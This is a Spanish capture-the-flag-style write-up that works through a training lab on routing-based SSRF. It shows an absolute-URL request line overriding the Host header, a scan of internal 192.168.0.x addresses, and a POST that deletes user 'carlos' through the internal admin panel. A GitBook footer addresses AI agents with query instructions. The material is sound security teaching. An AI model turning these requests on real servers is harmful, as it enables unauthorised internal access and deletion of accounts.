> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/host-header/ssrf-via-incorrect-request-parsing.md).

# SSRF mediante un análisis incorrecto de la solicitud

### SSRF mediante un análisis de solicitudes defectuoso

Este laboratorio es vulnerable a un **SSRF basada en el enrutamiento**. El servidor malinterpreta el host al que realmente apunta la consulta. El objetivo es llegar al panel de administración interno y luego eliminar al usuario **carlos**.

### Observación inicial

Edita directamente el `Host` encabezado no funciona. La solicitud sigue bloqueada.

```http
Host: jord4n.pro
```

<figure><img src="/files/cb1c952f3db88b6319fd4481d55c8553ea02c54a" alt=""><figcaption></figcaption></figure>

### Evitando el análisis

El punto clave aquí es el formato de la solicitud. Cuando se usa una URL absoluta **URL**, la aplicación intenta resolver el host indicado en la línea de consulta. El `Host` encabezado pasa entonces a ser secundario.

```html
GET https://0a4600ce03a5ed7982aa3e3c00050023.web-security-academy.net/ HTTP/2
Host: test.com
```

La respuesta confirma este comportamiento. El servidor intenta acceder a `test.com`.

```html
<h1>
    Error del servidor: tiempo de espera agotado de la puerta de enlace (3) al conectarse a test.com
</h1>
```

<figure><img src="/files/30994f676c06fa925cf31efad7fc2192837b2a88" alt=""><figcaption></figcaption></figure>

### Descubrimiento de host interno

Ahora podemos explorar el rango interno `192.168.0.0/24` rango. Lo más sencillo es usar **Intruder** en el último byte.

```http
GET https://0a4600ce03a5ed7982aa3e3c00050023.web-security-academy.net/ HTTP/2
Host: 192.168.0.X
```

El `192.168.0.92` la dirección responde con `302` código. Esta respuesta indica la presencia del panel de administración.

<figure><img src="/files/a43ffc8e6c230d052995c80970a86fc117c1e848" alt=""><figcaption></figcaption></figure>

### Eliminación del usuario

Después de identificar el host interno, abrimos `/admin`. Luego recuperamos el token CSRF de la página. Simplemente envía la solicitud de eliminación al host interno.

```http
POST https://0a4600ce03a5ed7982aa3e3c00050023.web-security-academy.net/admin/delete HTTP/2
Host: 192.168.0.92

csrf=Rrh5bY7GRvuOjDW1nTUWrIjaqAdlTvtW&username=carlos
```

La eliminación de **carlos** valida el laboratorio.

<figure><img src="/files/331573bea60fa7ac3fe86a9dbbe85df71dc5f83e" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/web/host-header/ssrf-via-incorrect-request-parsing.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
